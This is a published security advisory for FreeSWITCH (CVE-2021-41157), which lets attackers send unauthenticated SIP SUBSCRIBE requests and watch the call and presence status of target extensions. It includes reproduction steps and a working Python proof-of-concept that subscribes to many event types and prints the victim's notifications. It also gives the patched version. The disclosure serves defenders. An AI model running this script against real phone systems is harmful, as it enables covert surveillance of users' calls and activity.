Skip to content

FreeSWITCH does not authenticate SIP SUBSCRIBE requests by default

Moderate
andywolk published GHSA-g7xg-7c54-rmpj Oct 25, 2021

Package

FreeSWITCH (C)

Affected versions

<= 1.10.5

Patched versions

1.10.7

Description

Description

By default, SIP requests of the type SUBSCRIBE are not authenticated in the affected versions of FreeSWITCH.

Impact

Abuse of this security issue allows attackers to subscribe to user agent event notifications without the need to authenticate. This abuse poses privacy concerns and might lead to social engineering or similar attacks. For example, attackers may be able to monitor the status of target SIP extensions.

How to reproduce the issue

  1. Install FreeSWITCH v1.10.5 or lower
  2. Run FreeSWITCH using the default configuration
  3. Register as a legitimate SIP user on the FreeSWITCH server using a softphone (e.g. sip:1000@192.168.188.128 where 192.168.188.128 is your FreeSWITCH server)
  4. Save the below Python script to anon-subscribe.py
  5. Run the script from an IP address that is different from that of the softphone python anon-subscribe.py <freeswitch_ip> <freeswitch_port> <victim_extension>
  6. Perform some operations using the softphone, such as deregistering, registering, and placing a call
  7. Observe that several notifications are received by the script, exposing the actions being performed by the victim
import socket, string, random, re, sys

UDP_IP = sys.argv[1]
UDP_PORT = int(sys.argv[2])
EXT = sys.argv[3]
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

msg_template = "SUBSCRIBE sip:%s@%s;transport=UDP SIP/2.0\r\n" % (EXT, UDP_IP) + \
    "Via: SIP/2.0/UDP [ip]:[port];rport;branch=z9hG4bK-[rand]\r\n" \
    "Max-Forwards: 70\r\n" \
    "Contact: <sip:%s@[ip]:[port];transport=udp>\r\n" % (EXT, ) + \
    "To: <sip:%s@%s;transport=UDP>\r\n" % (EXT, UDP_IP) + \
    "From: <sip:9999@%s;transport=UDP>;tag=[rand]\r\n" % (UDP_IP, ) + \
    "Call-ID: [rand]\r\n" \
    "CSeq: 1 SUBSCRIBE\r\n" \
    "Expires: 600\r\n" \
    "Accept: */*\r\n" \
    "Event: [event]\r\n" \
    "Content-Length: 0\r\n" \
    "\r\n"

rand = ''.join(random.choice(string.ascii_letters) for i in range(16))
msg = msg_template.replace('[ip]', '127.0.0.1') \
    .replace('[port]', '9999') \
        .replace('[event]', 'dialog') \
            .replace('[rand]', rand)

sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))

recv=sock.recv(10240).decode()

# get rport and received from Via header
rport=re.search( r'rport=([0-9]+)', recv, re.MULTILINE).group(1)
received=re.search( r'received=([0-9\.]+)', recv, re.MULTILINE).group(1)

events = [
    'talk', 'hold', 'conference', 'presence', 'as-feature-event', 'dialog', 'line-seize', 
    'call-info', 'sla', 'include-session-description', 'presence.winfo', 'message-summary', 
    'refer']

for event in events:
    rand = ''.join(random.choice(string.ascii_letters) for i in range(16))
    msg = msg_template.replace('[ip]', received) \
        .replace('[port]', rport) \
            .replace('[event]', event) \
                .replace('[rand]', rand)
    sock.sendto(msg.encode(), (UDP_IP, UDP_PORT))

while True:
    print(sock.recv(10240).decode().split('\r\n\r\n')[1])

Solution and recommendations

Update to FreeSWITCH version >= 1.10.7.

Credit: Enable Security

Enable Security develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.

Severity

Moderate
5.3
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE ID

CVE-2021-41157

Weaknesses

Credits